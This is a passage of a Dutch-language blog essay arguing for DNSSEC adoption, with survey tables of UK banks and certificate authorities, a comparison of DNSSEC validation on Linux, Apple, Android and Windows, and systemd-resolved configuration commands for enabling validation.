standaardantwoord op waarom dat niet uitmaakt is dat DNS maar één laag is. Updatepakketten zijn code-ondertekend, de client controleert de handtekening, en het verkeer loopt over TLS. Breek de DNS en je krijgt nog steeds geen code uitgevoerd.\nDat antwoord hangt volledig af van de soliditeit van dat ondertekenen. Die is er niet geweest.\nWanneer Wat er met Microsofts ondertekenvertrouwen gebeurde 2012 Flame vervalste een certificaatketen naar de Microsoft Root Authority met een MD5-botsing tegen het inschrijfpad van de Terminal Services-licentieverlening, en gebruikte die vervolgens op een nep-updateserver6 2021 Netfilter werd de eerste rootkit die werd aangetroffen met een WHQL-handtekening die rechtstreeks door Microsoft was afgegeven, nadat hij het Windows Hardware Compatibility Program had doorstaan terwijl hij met een command-and-controlserver praatte7 2021 FiveSys, nog een WHQL-gecertificeerde driver, bleek een rootkit die zijn eigen rootcertificaat installeerde en het HTTP- en HTTPS-verkeer van de machine via een proxy liet lopen7 2022 Door Microsoft ondertekende kwaadaardige drivers doken op in ransomware-aanvallen, en Microsoft trok de handtekeningen in en schortte de ontwikkelaarsaccounts op7 2023 Storm-0558 bemachtigde een consumentenondertekensleutel van Microsoft uit een crashdump, na het compromitteren van het account van een engineer, en vervalste authenticatietokens die bij ongeveer 25 organisaties werden geaccepteerd voor zakelijke e-mail, overheidsinstanties inbegrepen8 Wees precies over die laatste rij, want mensen overdrijven hem. De gestolen sleutel ondertekende identiteitstokens, geen binaries. Hij hoort om een andere reden in de tabel: het beheer van Microsofts ondertekenmateriaal faalde, twee jaar lang onopgemerkt, via een crashdump en een gecompromitteerd engineeraccount.\nDe rijen erboven zijn de faalgevallen van code-ondertekening, en die zijn erger. Twee keer in één jaar zette Microsofts eigen hardwarecertificeringsprogramma een Microsoft-handtekening op een werkende rootkit en leverde die uit. Geen vervalst certificaat, geen gestolen sleutel. Het legitieme proces, dat malware ondertekent, precies zoals ontworpen.\nDus de verdediging waardoor je DNS als optioneel kunt behandelen is in elf jaar tijd ondermijnd door vervalsing, door procesmisbruik en door sleuteldiefstal. Een aanvaller met een handtekening die de machine accepteert is geen gedachte-experiment. Voor een statelijke actor is het een inkoopprobleem, geen onderzoeksprobleem.\nGeef die aanvaller een vervalst DNS-antwoord en het plaatje is compleet: ondertekende code die zij beheersen, geleverd vanaf een server die de machine voor Microsoft houdt, over een verbinding waar niets in de stack vragen bij stelt. Dat is Flame, met beter sleutelmateriaal.\nDNSSEC is de enige laag in die keten die zich niets aantrekt van wiens ondertekensleutel de aanvaller heeft. Het valideert het pakket niet, het valideert waar de machine heen is gestuurd, en het faalt onafhankelijk van elk certificaat en elke handtekening in het spel. Wat precies is wat je van een tweede laag wilt, en precies waarom het niet de laag zou moeten zijn die uitstaat.\nEn er is een goedkopere aanval die geen sleutel nodig heeft. Vervals het antwoord zodat de updatedienst nergens nuttigs uitkomt, en de machine patcht nooit meer. Geen foutmelding waar de gebruiker iets mee doet, geen alarm, alleen een vloot die stilletjes achteropraakt terwijl het dashboard groen blijft. Als ik een omgeving wilde hebben die over zes maanden klaar is om uit te buiten, zou ik er niets naartoe duwen. Ik zou er alleen voor zorgen dat er niets aankwam.\nDe banken, volledig Dit keer geen steekproef. Achtennegentig Britse banken en bouwfondsen, die allemaal op de dag zelf resolveden, van de winkelstraat tot aan fondsen met één kantoor en een victoriaanse naam.\nDertien zijn ondertekend.\nOndertekend (13) lloydsbank.com, halifax.co.uk, bankofscotland.co.uk, tsb.co.uk, co-operativebank.co.uk, smile.co.uk, monzo.com, aldermore.co.uk, hampshiretrustbank.co.uk, investec.com, handelsbanken.co.uk, allica.bank, weatherbys.bank Winkelstraat, niet ondertekend hsbc.co.uk, firstdirect.com, barclays.co.uk, natwest.com, rbs.co.uk, ulsterbank.co.uk, santander.co.uk, nationwide.co.uk, virginmoney.com, clydesdalebank.co.uk, metrobankonline.co.uk, bankofireland.co.uk, aibgb.co.uk, danskebank.co.uk Digitaal en challenger, niet ondertekend starlingbank.com, revolut.com, chase.co.uk, marcus.co.uk, atombank.co.uk, zopa.com, tandem.co.uk, kroo.com, monese.com, cashplus.com, anna.money, mettle.co.uk Retail, niet ondertekend tescobank.com, sainsburysbank.co.uk, marksandspencer.com, johnlewisfinance.com Mkb en specialisten, niet ondertekend shawbrook.co.uk, paragonbank.co.uk, oaknorth.co.uk, recognisebank.co.uk, redwoodbank.co.uk, ccbank.co.uk, closebrothers.com, unitedtrustbank.co.uk, gbbank.co.uk, cynergybank.co.uk, securetrustbank.com Private banken, niet ondertekend coutts.com, hoaresbank.co.uk, arbuthnotlatham.co.uk, rathbones.com, brownshipley.com, butterfieldgroup.com Bouwfondsen, niet ondertekend elk van de geteste: coventrybuildingsociety.co.uk, ybs.co.uk, skipton.co.uk, leedsbuildingsociety.co.uk, principality.co.uk, westbrom.co.uk, newcastle.co.uk, thenottingham.com, cumberland.co.uk, progressivebs.co.uk, saffronbs.co.uk, newburybs.co.uk, monbs.com, furnessbs.co.uk, ipswichbuildingsociety.co.uk, leekbs.co.uk, theloughborough.co.uk, mansfieldbs.co.uk, marsdenbs.co.uk, themelton.co.uk, familybuildingsociety.co.uk, penrithbs.co.uk, scottishbs.co.uk, srbs.co.uk, swansea-bs.co.uk, teachersbs.co.uk, thetipton.co.uk, thevernon.co.uk, beverleybs.co.uk, chorleybs.co.uk, dudleybuildingsociety.co.uk, esbs.co.uk, ecology.co.uk, harpendenbs.co.uk, hrbs.co.uk, darlington.co.uk, hanley.co.uk, bathbuildingsociety.co.uk Achtendertig bouwfondsen. Geen enkele ondertekend. Dat zijn de instellingen die de hypotheek op heel wat huizen houden.\nTwee patronen in die ondertekende kolom vallen op. Lloyds Banking Group heeft drie van zijn merken ondertekend, lloydsbank.com, halifax.co.uk en bankofscotland.co.uk, en de Co-operative Bank heeft ze allebei ondertekend. Het besluit wordt dus één keer genomen, op organisatieniveau, en daarna toegepast. Er zit geen drempel per domein in.\nEn Monzo heeft ondertekend terwijl Starling dat niet heeft. Twee challengerbanken die binnen een jaar van elkaar zijn opgericht, op vergelijkbare moderne infrastructuur, met dezelfde toezichthouder en dezelfde beschikbare registrars. De een deed het.\nDe ene plek waar iedereen het wel doet Kijk naar de laatste twee namen in de ondertekende kolom: allica.bank en weatherbys.bank.\n.bank is een beperkt topleveldomein dat wordt beheerd door fTLD Registry Services, en de beveiligingseisen ervan maken DNSSEC verplicht, naast TLS en e-mailauthenticatie, met jaarlijkse herverificatie van elke registrant.9\nDezelfde instellingen, twee regimes Ondertekend Op een gewoon domein, waar DNSSEC optioneel is 13 van de 98 Op .bank, waar het verplicht is en jaarlijks wordt gecontroleerd allebei Twee is een klein getal, dus neem het als demonstratie en niet als statistiek. De eis is nog steeds het enige dat veranderde.\nDat is het antwoord op elk excuus verderop in dit stuk, en het komt voordat de excuses er zijn. Dezelfde banken, dezelfde leveranciers, dezelfde budgetten en dezelfde vaardigheden leveren 13% naleving op wanneer het optioneel is en 100% wanneer iemand jaarlijks controleert. Er veranderde technisch niets. Iemand vroeg er gewoon om.\nNiemand bewaakt de bewakers Eén certificaatautoriteit van de negen.\nOndertekend Niet ondertekend entrust.com letsencrypt.org, digicert.com, sectigo.com, globalsign.com, identrust.com, buypass.com, zerossl.com, certum.eu Dit zijn de organisaties wier hele bedrijf eruit bestaat te bewijzen dat iets is wat het beweert te zijn. Het zijn ook de organisaties die domeincontrole valideren via DNS, door jou te vragen een record te publiceren en dat vervolgens op te zoeken. De lookup die bepaalt of je een certificaat voor een domein krijgt is bij acht van deze negen een lookup die niemand kan verifiëren.\nGeen hypothetisch geval, dat. Het is de gedocumenteerde vorm: vervals de validatielookup, laat het certificaat aan jou uitgeven, en nu heb jij geldige papieren voor een naam die niet van jou is. DNSSEC is een van de weinige dingen die dat wezenlijk moeilijker maken, en de mensen die het het meest zou beschermen hebben het niet uitgerold.\nIk zeg het je gratis en voor niets. Is je verdienmodel identiteit en heb je je eigen zone niet ondertekend, dan is het argument dat het moeilijk is niet voor jou beschikbaar.\nEn wie controleert er eigenlijk? Ondertekenen is maar de helft. Een ondertekende zone beschermt niemand tenzij er aan de andere kant iets de handtekening verifieert, en hier wordt het beeld slechter in plaats van beter.\nEr zijn twee plekken waar validatie kan gebeuren, en ze zijn niet gelijkwaardig:\nValideren bij de resolver laat één niet-geauthenticeerde hop over. Valideren op het apparaat niet TWEE PLEKKEN WAAR HET BEWIJS GECONTROLEERD KAN WORDEN, EN DAT IS NIET HETZELFDE Validatie bij de resolver je applicatie gelooft de bit één AD-bit niet geauthenticeerd de resolver controleert de handtekeningen keten geverifieerd de ondertekende zone RRSIG en DS Je krijgt het oordeel, niet het bewijs, over precies de hop die deze hele exercitie wantrouwt. Validatie op het apparaat je applicatie controleert ze zelf keten van begin tot eind geverifieerd, waar het antwoord wordt gebruikt de ondertekende zone RRSIG en DS Niets ertussen kan tegen je liegen, want er wordt niets ertussen gevraagd. Vrijwel alle validatie ter wereld is de bovenste. Windows kan de onderste bij geen enkele instelling. De een geeft je een oordeel. De ander geeft je het bewijs Vrijwel alle validatie ter wereld is van de eerste soort. Google, Cloudflare en Quad9 valideren allemaal, en samen bedienen ze een enorm aantal gebruikers. Dat telt. Maar het betekent dat de eigenschap die de meeste mensen hebben mijn resolver zegt dat dit in orde was is.\nWat elk besturingssysteem kan Valideert op het apparaat Standaard Hoe je het krijgt Linux met systemd-resolved Ja, volledig uit één regel in een drop-in Linux met een lokale unbound of knot-resolver Ja, volledig n.v.t. installeer het, wijs de stub ernaartoe FreeBSD met local_unbound Ja, volledig uit service local_unbound onestart macOS Ventura en later, iOS 16 en later Ja uit per app of per request, in code macOS en iOS daarvoor alleen API uit kDNSServiceFlagsValidate, de app moet erom vragen Android wordt door het platform niet aangeboden n.v.t. een bibliotheek van derden, in je eigen app Fisher-Price OS (Windows) Nee. Kan niet n.v.t. voor geen enkele prijs verkrijgbaar Twee daarvan verdienen meer dan een rij.\nApple deed het werk stilletjes. iOS 16 en macOS Ventura voegden DNSSEC-validatie aan de clientkant toe, in Apples eigen woorden op WWDC 2022: “iOS 16 and macOS Ventura now support client side DNSSEC validation.”10 Het is opt-in in plaats van automatisch, en het is opt-in op de juiste granulariteit, zodat een applicatie die erom geeft er per sessie of per request om kan vragen:\nlet configuration = URLSessionConfiguration.default configuration.requiresDNSSECValidation = true Een echte validerende resolver op een telefoon, die handtekeningen op het apparaat controleert, en vrijwel niemand merkte op dat het uitkwam. Daarvoor bood mDNSResponder kDNSServiceFlagsValidate aan iedereen die bereid was de C-API te gebruiken.\nAndroid biedt het niet. De DNS-resolver is sinds Android 10 een bij te werken module en kreeg DNS over TLS in Android 9, dus op DNS-gebied heeft het platform niet stilgezeten. Maar noch de AOSP-resolverdocumentatie noch de publieke DnsResolver-API documenteert DNSSEC-validatie, en de reden dat bibliotheken als MiniDNS bestaan en adverteren dat ze “DNSSEC close to your application” brengen, is dat het platform het niet brengt. Ik kon geen primaire bron vinden die botweg stelt dat het onmogelijk is, dus ik houd het niet hoger dan: wordt niet aangeboden, en je zou het zelf moeten schrijven.\nEn zelfs waar het werkt wordt het weggegooid Nog één ding, van deze machine, dat ik niet verwachtte te vinden.\nDe upstream-resolver hier valideert en zegt dat ook. systemd-resolved gooit dat met DNSSEC=no weg voordat enige applicatie het ziet:\n# ---- before: stock Fedora, DNSSEC=no ---------------------------------- $ dig @192.0.2.53 damiendye.uk A | grep flags # the upstream ;; flags: qr rd ra ad $ dig @127.0.0.53 damiendye.uk A | grep flags # the local stub ;; flags: qr rd ra # ---- the fix: two lines in a drop-in ---------------------------------- $ sudo mkdir -p /etc/systemd/resolved.conf.d $ printf \u0026#39;[Resolve]\\nDNSSEC=allow-downgrade\\n\u0026#39; \\ | sudo tee /etc/systemd/resolved.conf.d/10-dnssec.conf $ sudo systemctl restart systemd-resolved # ---- after: same query, same stub, nothing else changed --------------- $ resolvectl status | grep -m1 DNSSEC= DNSSEC=allow-downgrade/supported $ dig @127.0.0.53 damiendye.uk A | grep flags ;; flags: qr rd ra ad Dezelfde naam, hetzelfde antwoord, dezelfde seconde. Vóór de drop-in deed de upstream het werk, zette de AD-bit, en liet de lokale daemon hem op de grond vallen. De standaard is dus niet simpelweg we valideren hier niet, hij is we valideren hier niet, en we geven het oordeel van wie het wel deed niet door. Daarna is de bit terug, en deze keer is hij van ons in plaats van andermans bewering.\nresolvectl zet het oordeel in woorden, en het scheidt de twee die ertoe doen:\n$ resolvectl query damiendye.uk | tail -2 -- Data is authenticated: yes; Data was acquired via local or encrypted transport: no $ resolvectl query ncsc.gov.uk | tail -2 -- Data is authenticated: no; Data was acquired via local or encrypted transport: no Let op wat de tweede niet is. Het is geen fout. Een niet-ondertekende zone komt terug als niet-geauthenticeerd en niet als bogus, de resolutie slaagt, en nergens klaagt iets. Dat is het hele probleem met 1,63% herschreven als een commando: validatie aanzetten laat niet-ondertekende zones niet falen, het maakt ze zichtbaar, en alleen voor wie gaat kijken.\nHet grootste client-OS zakt voor de meest elementaire controle Nu het andere uiteinde van de schaal, en daar is het geen nek-aan-nekrace.\nDe Windows-DNS-client is, in Microsofts eigen beschrijving, “security-aware” maar “non-validating”. Hij voert geen DNSSEC-validatie uit. Hij kan er niet toe gebracht worden. Wat hij in plaats daarvan doet is zijn geconfigureerde DNS-server vragen te valideren, en vervolgens in het antwoord naar de AD-bit kijken.11\nDrie dingen daarover, en geen daarvan is klein:\nHij controleert nooit een handtekening. De sterkste garantie die beschikbaar is voor het grootste clientbesturingssysteem ter wereld is één bit, gezet door welke machine er ook antwoordde. Hij doet dat niet eens standaard. De client zet alleen de DO-bit en eist AD voor namespaces die in de Name Resolution Policy Table staan, een Group Policy-object dat iemand bewust moet configureren. Staat daar geen regel in, dan draagt de query helemaal geen DNSSEC-verwachting mee. Microsoft zegt dat de bit IPsec nodig heeft om iets te betekenen. Hun documentatie is expliciet dat, omdat de client niet valideert en op de server leunt, “IPsec is used to establish this trust relationship”. Een AD-bit die over een niet-geauthenticeerde verbinding binnenkomt is een bewering van wie er het eerst was, en dat is precies de aanval waarvoor deze hele technologie bestaat. Dus op de desktop met de grootste geïnstalleerde basis, uit de doos: geen validatie, geen AD-eis, en geen geauthenticeerd kanaal naar de resolver. De meest elementaire controle staat niet alleen uit. Hij is nooit gebouwd.\nEn de gebruikelijke verdediging, dat clientbesturingssystemen dit soort dingen nu eenmaal niet doen, stierf in 2022. Apple leverde validatie op het apparaat aan elke iPhone en Mac in hetzelfde jaar waarin Microsoft dat niet deed. De vergelijking is niet langer desktop tegen server, of mobiel tegen vast. Het is de ene leverancier die het bouwde tegen de andere die dat niet heeft gedaan.\nDat doet er meer toe dan hetzelfde gat op Linux, vanwege wie het raakt. Een Linux-server wordt meestal beheerd door iemand die validatie vanmiddag aan kan zetten en weet wat een DS-record is. De machines die helemaal niet kunnen valideren, bij geen enkele instelling, zijn de machines die op de bureaus staan bij de organisaties waarvan de zones in de tabellen hierboven niet ondertekend zijn. systemd-resolved levert de mogelijkheid uitgeschakeld, en dat is een besluit dat je in één regel terugdraait.12 Het Fisher-Price OS (Windows) levert zonder de mogelijkheid.\nDe dienst die door DNS bijeen wordt gehouden Alles tot hier ging over namen op het publieke internet. Hetzelfde gat bestaat binnen het gebouw, en daar is het dragend.\nActive Directory heeft voor niets een vast adres. Een machine die lid is van het domein weet niet waar zijn domeincontroller woont, dus vraagt hij het aan DNS. Het locatorproces bevraagt _ldap._tcp.dc._msdcs.\u0026lt;domain\u0026gt; voor de controllers en _kerberos._tcp voor de KDC, en waar hij zich tegen gaat authenticeren is wat daarop terugkomt.13\ndig +short _ldap._tcp.dc._msdcs.corp.example SRV Vervals dat antwoord en de machine brengt zijn authenticatieverkeer naar een host die jij hebt uitgekozen. Wees duidelijk over wat dat wel en niet is: Kerberos geeft geen ticket aan een bedrieger die de sleutels niet heeft, dus dit is op zichzelf geen domeinovername. Het is een positie in het pad, en daar worden de interessante aanvallen uit opgebouwd. Forceer de terugval naar NTLM en relay hem. Ga in het midden zitten van verkeer dat naar een controller had moeten gaan. Of wijs de hele omgeving naar niets en kijk hoe de aanmeldingen stoppen.\nEen vervalst locatorrecord geeft het domein niet weg, het zet de aanvaller in het pad WAAR IS MIJN DOMEINCONTROLLER? HET ANTWOORD IS GEWOON EEN DNS-RECORD Niet-ondertekende `_msdcs`-zone lidserver _ldap._tcp.dc SRV eerste antwoord wint een host van hun keuze nu in het pad NTLM-terugval, relay, of geen aanmeldingen Kerberos geeft geen tickets aan een bedrieger, dus dit is geen domeinovername. Het is een positie. Ondertekende zone, validerende client lidserver controleert de handtekening vervalsing weggegooid jouw controller het ondertekende antwoord Afgewezen voordat er iets probeert te authenticeren. Windows Server kan deze zone sinds 2012 ondertekenen. De client die hem leest kan nog steeds niet valideren. Geen domeinovername. Een positie in het pad, en daar wordt de rest op gebouwd Group Policy, aanmeldscripts, gekoppelde schijven en elke trust stroomafwaarts van de aanmelding worden allemaal op dezelfde manier gevonden. Het is de meest waardevolle verzameling namen die de meeste organisaties bezitten, en hij zit daar niet ondertekend.\nMicrosoft bouwde de serverhelft van de oplossing, en bouwde die goed. Een AD-geïntegreerde zone kan ondertekend worden, online ondertekenen van dynamische zones landde in Windows Server 2012, en omdat de zone in de directory leeft, repliceren de private ondertekensleutels via de AD-replicatie zelf naar de andere DNS-servers.14 Het werkelijk lastige deel van DNSSEC, sleutels bij de machines krijgen die ze nodig hebben, is hier veertien jaar geleden opgelost door het ding waar de zone toch al doorheen repliceerde.\nDan stopt het op dezelfde twee plekken als al het andere:\nDe twee helften Wat Microsoft leverde Wat je uit de doos krijgt De _msdcs-zone ondertekenen online ondertekenen van AD-geïntegreerde dynamische zones, sleutels gerepliceerd door AD zelf niets, tot een beheerder hem ondertekent De handtekening controleren de niet-validerende client uit de vorige paragraaf een regel in de policytabel plus IPsec, of de bit betekent niets Dus de interne zone die bepaalt welke machine jouw domeincontroller mag zijn, is in de meeste omgevingen even niet-ondertekend als de publieke. Het verschil is dat geen buitenstaander het kan tellen, dus er staat in dit stuk geen tabel die iemand te schande zet. Ga naar je eigen kijken voordat je iets aanneemt.\nHet besturingssysteem hoort dit te doen, en het hoort aan te staan Waarmee ik bij het deel kom dat ik wil beargumenteren in plaats van tellen.\nEen DNS-antwoord valideren is werk voor het besturingssysteem. Het zit in dezelfde klasse als de klok goed houden, een verzameling vertrouwde certificaten meedragen en een TLS-stack hebben, en om dezelfde redenen: elke applicatie heeft het nodig, vrijwel geen daarvan zou het moeten schrijven, en de controle moet één keer gebeuren, op een plek waar hij goed gedaan kan worden. Die discussie hebben we voor certificaten lang geleden beslecht. Niemand levert een mailclient met zijn eigen privémening over root-CA\u0026rsquo;s.\nDrie van de vier platforms hierboven kunnen het al. Geen enkele doet het uit de doos:\n$ grep DNSSEC= /usr/lib/systemd/resolved.conf # Fedora 44, systemd 259.9 #DNSSEC=no Dat is de ingecompileerde standaard, als commentaar uitgeschreven zodat een beheerder hem kan zien. De eigen handleiding van systemd heeft een andere opvatting en raadt allow-downgrade in het algemeen aan, en true overal waar de upstream betrouwbaar is.15 De code wordt geleverd, het root-vertrouwensanker wordt geleverd, en de documentatie wordt geleverd met de aanbeveling het aan te zetten. De standaard zegt nog steeds nee.\nPlatform Wie er moet handelen voordat een handtekening wordt gecontroleerd systemd-resolved een beheerder, één keer, in een drop-inbestand macOS 13 en later, iOS 16 en later de auteur van elke afzonderlijke applicatie Android de auteur van elke applicatie, met een bibliotheek van derden Windows niemand kan het Die kolom is het hele probleem. Een eis is één hefboom, en de .bank-telling laat zien wat die doet. Een standaardwaarde is dezelfde hefboom zonder handhaving, want hij beslist de uitkomst voor iedereen die het configuratiebestand nooit opent, en dat is vrijwel iedereen. Optioneel leverde ons 1,63% bij de overheid en 13% in het bankwezen. Mensen kiezen niet uit zichzelf voor beveiliging die ze niet kunnen zien, en gelijk hebben over de techniek heeft daar nog nooit iets aan veranderd.\nHet eerlijke bezwaar is dat standaard valideren gebruikers breekt wanneer niet de zone stuk is maar de upstream-resolver. Daar is allow-downgrade voor, en dat is een echt compromis en geen gratis compromis, want een downgrade is iets wat een aanvaller bewust kan uitlokken. Toch zou allow-downgrade leveren in plaats van een kale no een enorme verbetering zijn, en het zou de breuk leggen waar hij hoort, bij wie in 2026 nog een resolver draait die geen DNSSEC aankan.\nValidatie aanzetten, en welk stuk van Fedora is Vrijwel alles wat volgt is van systemd en niet van Fedora, en draait hetzelfde op Debian, Ubuntu of Arch. Twee dingen hier zijn werkelijk van de distributie:\nUpstream systemd Fedora 44, zoals geïnstalleerd Gecompileerde default-dnssec allow-downgrade no Hoofdconfiguratiebestand /usr/lib/systemd/resolved.conf, met elke standaardwaarde als commentaar ter referentie levert ook /etc/systemd/resolved.conf met Cache=yes erin, wat het vervangt Upstream kiest allow-downgrade in meson_options.txt, wat de compromisinstelling is en niet de dappere.16 Fedora compileert hem naar no en levert vervolgens een tweede hoofdconfiguratiebestand, en omdat alleen het eerst gevonden bestand wordt gebruikt, is het bestand dat de standaardwaarden documenteert niet langer het bestand dat geldt.15 Bewerk dus geen van beide. De leverancierskopie is die van het pakket en een update geeft je je wijziging zo terug; de /etc-kopie is een bestand waarvan de andere regels stilzwijgend afwezig zijn.\nGebruik in plaats daarvan een drop-in, zoals het blok hierboven doet. Hij overschrijft welk hoofdbestand er ook won, overleeft pakketupdates, en bevat alleen wat jij veranderde. Controleer het resultaat met systemd-analyze cat-config systemd/resolved.conf, dat elk bestand afdrukt in de volgorde waarin het wordt toegepast en beslecht wat er werkelijk won.\nDrie instellingen, en de keuze tussen de laatste twee is een echte:\nDNSSEC= Wat het doet Wat het je kost no valideert niets, en gooit het oordeel van de upstream ook weg vervalsing komt stilletjes binnen, zoals vandaag allow-downgrade valideert, en treedt terug wanneer de upstream het niet aankan een aanvaller kan dat terugtreden bewust uitlokken yes valideert, punt, geen weg terug je namen gaan mee de dag dat de upstream breekt Begin op allow-downgrade, want een kapotte resolver kost je dan niets. Ga naar yes zodra resolvectl status veertien dagen supported heeft gezegd en je weet wat je upstream werkelijk is. De details per distributie voor overal wat geen Fedora is staan in het resolved-stuk.12\nWat houdt mensen dan werkelijk tegen Goed. De cijfers zijn de cijfers. Waarom?\nEr worden vier redenen gegeven, en het is niet allemaal onzin.\nDe reden Hoeveel ervan klopt Sleutelbeheer is moeilijk Was waar. Nu grotendeels geautomatiseerd door de DNS-provider Het kan je domein van internet halen Waar, en dit is de echte Ondersteuning door registrars en providers is wisselvallig Grotendeels opgelost, en makkelijk te controleren voordat je je vastlegt Geen zichtbaar voordeel, geen nalevingsstok Waar, en waarschijnlijk doorslaggevend Sleutelbeheer was een echt obstakel en is dat grotendeels niet meer. Ondertekenen betekende vroeger je eigen sleutelceremonies draaien, eraan denken opnieuw te ondertekenen voordat handtekeningen verliepen, en sleutels met de hand rollen op een schema dat je zelf moest bijhouden. Dat werk wordt op de meeste beheerde platforms nu door de DNS-provider gedaan, en ondertekenen is een schakelaar. Het is niet niks, maar het is geen project meer.\nDe faalmodus is het eerlijke bezwaar, en het is de enige van de vier waar ik echt sympathie voor heb. Doe DNSSEC verkeerd en je domein degradeert niet, het verdwijnt. Elke validerende resolver weigert je records, en dat is wat hij hoort te doen, en de mensen die je niet kunnen bereiken kunnen door jou niet te horen krijgen waarom, want dat vertellen vereist DNS.\nDrie dingen maken het erger dan een gewone storing:\nHet faalt op een klok, niet op een wijziging. Handtekeningen hebben een vervaldatum. Een zone waar sinds dinsdag niemand aan heeft gezeten kan zondag weg zijn omdat een hertekentaak stilletjes stopte met draaien. Het faalt voor sommigen en niet voor anderen. Alleen validerende resolvers wijzen je af. Je eigen monitoring meldt, als die niet valideert, dat de site kerngezond is terwijl een groeiend deel van internet je niet kan bereiken. Het faalt in de laag die je gebruikt om dingen te repareren. Toegang op afstand, je statuspagina en je eigen e-mail kunnen allemaal onder de naam vallen die zojuist verdween. Die angst is rationeel, hij heeft grote operators uit de lucht gehaald, en elk eerlijk pleidooi voor DNSSEC moet ermee gaan zitten in plaats van hem weg te wuiven.\nMaar let op de vorm ervan: het is een angst voor een operationele discipline die je nu niet hebt, niet een angst voor de technologie.\nNiet ondertekend faalt stil bij je gebruikers. Verkeerd geconfigureerd faalt luid bij jou TWEE MANIEREN WAAROP DIT MISGAAT, EN ER WORDT MAAR OVER ÉÉN GEPRAAT Niet ondertekend Een vervalst antwoord wordt gewoon geloofd. Niets logt het. Niets alarmeert. Duurt zolang de TTL van de aanvaller zegt. Je monitoring blijft groen. De kosten landen bij wie het antwoord vertrouwde. Niet bij jou. Ondertekend, en kapot Het domein verdwijnt volledig. Faalt op een klok, niet op een wijziging. Alleen voor validerende resolvers, dus je eigen controles lijken prima. De kosten landen bij jou, luid, met jouw naam op het incident. Daarom krijgt de tweede een business case en de eerste niet. Niemand krijgt ooit de schuld van een aanval die nooit is opgemerkt. Niet ondertekend faalt stil, bij je gebruikers. Verkeerd geconfigureerd faalt luid, bij jou En let op wie er in elke kolom betaalt. Een niet-ondertekende zone die wordt vervalst kost je klanten, stilletjes, en niemand meldt een incident omdat niemand het ooit merkt. Een ondertekende zone die verloopt kost jou, onmiddellijk, in het openbaar, met jouw naam op de postmortem. Het zijn allebei faalgevallen. Maar één ervan komt in iemands doelstellingen terecht.\nCertificaten hadden hetzelfde probleem en losten het twee keer op: het falen werd zichtbaar gemaakt, en daarna werd het geautomatiseerd. Een browserwaarschuwing maakte een verlopen certificaat ieders probleem, monitoring volgde, en toen maakte Let\u0026rsquo;s Encrypt van verlengen iets wat een cronjob om drie uur \u0026rsquo;s nachts deed. Niets daarvan maakte certificaten in principe makkelijker. Het maakte ze vergeten moeilijker.\nOndersteuning door providers is tien minuten controleren waard, niet aannemen. Sommige registrars maken van het publiceren van een DS nog steeds een supportticket. Heel veel niet.\nEn de laatste is het echte antwoord, wat de .bank-registry eerder in dit stuk al bewees. Er is geen browserslotje voor DNSSEC. Geen klant heeft ooit een bank gekozen omdat zijn zone ondertekend was, geen auditor laat je erop zakken, en geen algemene regelgeving in het Verenigd Koninkrijk eist het. Het voordeel is volledig onzichtbaar wanneer het werkt, de prijs van het verkeerd doen is een storing met jouw naam erop, en degene die die storing draagt is niet degene die de eer zou krijgen.\nZet een eis en een jaarlijkse controle voor diezelfde instellingen en de naleving gaat van 13% naar allemaal. Aan de technologie veranderde tussen die twee getallen niets. Aan de budgetten, de leveranciers of de vaardigheden ook niet. De enige variabele was of er iemand zou gaan kijken.\nGegeven die prikkels is het verrassende niet dat 1,63% van de overheidsdomeinen ondertekend is. Het is dat er negenendertig zijn.\nAanzetten zonder jezelf uit de lucht te halen Het hele risico zit op één plek, dus steek de moeite daarin. Het verlopen van handtekeningen is de storing die aankomt zonder dat iemand ergens aan heeft gezeten, dus alarmeer erop:\ndig +dnssec damiendye.uk SOA | awk \u0026#39;/RRSIG/ {print \u0026#34;sig expires\u0026#34;, $9}\u0026#39; Behandel het als een certificaat. Bewaak de datum, alarmeer ruim van tevoren, en maak de verlenging automatisch zodat het alarm een vangnet is en geen werkwijze.\nZet het daarna aan op een rustig moment, op iets anders dan je primaire domein, en laat het veertien dagen liggen voordat je het domein doet dat ertoe doet. Staat je DNS op een beheerd platform, dan is het ondertekenen zelf zeer waarschijnlijk een schakelaar, en de enige werkelijk handmatige stap is het deponeren van de DS bij je registrar.\nIs dit dezelfde mislukking als IPv6? Het is de voor de hand liggende vergelijking, dus ik heb beide standaarden in dezelfde populaties op dezelfde dag gemeten. Dezelfde organisaties, dezelfde mensen, twee besluiten.\nn DNSSEC ondertekend Bereikbaar over IPv6 Britse banken en bouwfondsen 98 13,3% 36,7% Linux- en BSD-distributies 96 19,8% 67,7% Elk levend gov.uk-domein 2.380 1,6% 31,2% De zware migratie verslaat de makkelijke, drie tegen een en negentien tegen een DEZELFDE ORGANISATIES, BEIDE STANDAARDEN, DEZELFDE DAG DNSSEC ondertekend bereikbaar over IPv6 Britse banken 98 getest 13,3% 36,7% Linux en BSD 96 getest 19,8% 67,7% Elk levend gov.uk 2.380 domeinen 1,6% 31,2% IPv6 raakt elke router en host. DNSSEC is één record bij je registrar. Dezelfde organisaties, beide standaarden, op dezelfde dag gemeten Negentien keer verder in de overheid, op dezelfde domeinen.\nGa nu even zitten bij wat wat is. IPv6 raakt elke router, elke host en elke applicatie, en wil jarenlang dual stack parallel. DNSSEC ondertekenen is een schakelaar en één record dat je bij je registrar plakt.\nDe veel zwaardere klus verslaat de makkelijke overal waar ik keek. Wat de comfortabele verklaring uitsluit dat infrastructuurstandaarden nu eenmaal zo gaan, langzaam en met tegenzin. DNSSEC beweegt niet langzaam. Het beweegt niet.\nEén verschil hoort alleen bij DNSSEC. Rol IPv6 uit en je krijgt er iets voor terug: bereikbaarheid, geen carrier-grade NAT te kopen. Onderteken je zone en jij persoonlijk krijgt niets. De bescherming landt bij je gebruikers, en alleen bij degenen achter een validerende resolver. Je neemt een permanent storingsrisico op je namens mensen die je nooit zult ontmoeten, en dat is moeilijker aan een bestuur voor te leggen dan welk technisch obstakel in dit stuk ook.\nIk heb de IPv6-helft van dit betoog elders geschreven en herhaal hem hier niet.17\nKomt het doordat we DNS nog steeds niet begrijpen? Tweeënveertig jaar sinds Mockapetris het in november 1983 opschreef.18 Zestien sinds de root werd ondertekend.\nIk denk dat het begripsprobleem echt is, en ik denk dat het specifieker is dan dat mensen niet weten hoe DNS werkt. Genoeg bekwame engineers kunnen recursie, delegatie en caching prima beschrijven. Wat ontbreekt is één stap verder, en dat is de stap die ertoe doet.\nVrijwel niemand heeft zich eigen gemaakt dat DNS een autorisatiesysteem is.\nHet wordt als leidingwerk behandeld. Een opzoektabel. Iets wat namen in nummers omzet en toebehoort aan wie het netwerk beheert, mentaal opgeborgen naast DHCP. En dat kader is verkeerd op een manier die stilletjes veel 